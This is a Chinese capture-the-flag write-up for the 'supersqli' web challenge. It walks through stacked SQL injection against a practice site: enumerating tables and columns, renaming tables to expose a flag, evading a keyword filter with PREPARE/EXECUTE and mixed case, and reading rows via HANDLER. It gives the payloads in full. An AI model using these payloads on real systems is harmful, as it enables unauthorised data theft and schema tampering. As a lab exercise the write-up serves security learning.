攻防世界supersqli_writeup

web这进阶区也不简单啊,为什么有那么多人做出来了…

参考:https://www.cnblogs.com/hugboy/p/13477856.html

0x01 判断漏洞存在

首先,做一个引号闭合,看他用的是单引号还是双引号:

输入1'1",发现前者报错:

image-20220415130315219

那么我们就知道用单引号闭合了,那我们可以先看看这个表里面有什么东西1' or 1=1;#:

image-20220415161300747

表里面有三行,那估计我们要的值实是在其他表里了。

0x02 查看数据库和表的情况

1';show tables;#查询所有的表:

image-20220415162421750

也就是说,我们这个数据库中有两个表,这时候我们可以查看一下表中的内容:

1';show columns from words;#

image-20220415170733691

可以看到words就是我们当前使用的表格,然后再看另一个表:

1';show columns from 1919810931114514;#

通过上面这个命令执行发现没有显示,这是因为纯数字的话需要添加反引号包裹:

1’;show columns from `1919810931114514`;#

用上述shellcode查询后:

image-20220415171124167

可以看到,这个就应该是我们需要的字段!

0x03 绕过限制

我们直接查1919810931114514表中的内容试试:1’; select * from `1919810931114514`;#

发现不行,做了过滤,以下关键词都不让用,改变大小写也无效:

image-20220415171744894

这时候,就存在多种解决方案了,首先先上官方做法:

一、改表名法

1
2
;  alter tables words rename to words1; #
; alter tables `1919810931114514` rename to words ;#

这样就把我们的1919810931114514的表明改为了word,由于系统默认查询的是words,因此此时只需要:

1' or 1=1 #:

image-20220415172800938

结果发现出了点小问题,怎么回事?原来是因为默认查找的words表中必须有id字段,那我们再加一条:

; alter tables words change flag id varchar(50); #

但是这里已经闭合不上了,重新起一遍环境:

直接三句话合成一句一波搞定:

1
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

改完查一查到底改了没:

1’;show tables;

image-20220415173248799

可以的,我们此时就可以直接查询原1919810931114514的所有项了:1’ or 1=1;#

image-20220415173332616

好,搞定了,因为懒得改回去,所以我们重新再起一遍环境,开启下一种解法。

二、预编译法

参考:https://www.cnblogs.com/micrari/p/7112781.html

通常我们的一条sql在db接收到最终执行完毕返回可以分为下面三个过程:

  1. 词法和语义解析
  2. 优化sql语句,制定执行计划
  3. 执行并返回结果

我们把这种普通语句称作Immediate Statements

但是很多情况,我们的一条sql语句可能会反复执行,或者每次执行的时候只有个别的值不同(比如query的where子句值不同,update的set子句值不同,insert的values值不同)。
如果每次都需要经过上面的词法语义解析、语句优化、制定执行计划等,则效率就明显不行了。

所谓预编译语句就是将这类语句中的值用占位符替代,可以视为将sql语句模板化或者说参数化,一般称这类语句叫Prepared Statements或者Parameterized Statements
预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止sql注入。
当然就优化来说,很多时候最优的执行计划不是光靠知道sql语句的模板就能决定了,往往就是需要通过具体值来预估出成本代价。

首先呢,我们用sql定义一个字符串变量,在其中使用concat绕过内容限制;
然后使用set命令对这个变量中的内容进行预编译
最后使用excute命令直接执行该语句;

编译

set @sql = concat(‘sele’,’ct * from `1919810931114514`;’);

prepare stm from @sql;

执行

execute stm;–+

最终构造语句:

set @sql = concat(‘sele’,’ct * from 1919810931114514;’);prepare stm from @sql;execute stm;#

执行以下:

image-20220415175526561

发现竟然不行。。。仔细观察返回内容,可以看到使用限制的函数是strstr,有点搞笑,直接大写绕过:

1’;sEt @sql = concat(‘sele’,’ct * from 1919810931114514;’);prEpare smt from @sql;execute smt;#

成功了!

image-20220415180112959

strstr的使用比较愚蠢,如果使用对于大小写不敏感的*strstrw()*,或许会更难使用这种方法吧~

三、使用handler执行

handler介绍参考:https://blog.csdn.net/qq_43427482/article/details/109898934

注入教程参考:https://blog.csdn.net/nicesa/article/details/106390405

MySQL 除了可以使用 select 查询表中的数据,也可使用 handler 语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler 语句并不具备 select 语句的所有功能。它是 MySQL 专用的语句,并没有包含到SQL标准中。handler 语句提供通往表的直接通道的存储引擎接口,可以用于 MyISAM 和 InnoDB 表。

使用方法:

handler table_name open打开一张表
handel table_name read first读取第一行内容,
handel table_name read next依次获取其它行
最后一行执行之后再执行handel table_name read next会返回一个空的结果

1’;handler `1919810931114514` open;handler `1919810931114514` read first;#

直接使用这句话:

image-20220415181115643

牛,确实还是这个最快,改名字属实是奇葩思路。。.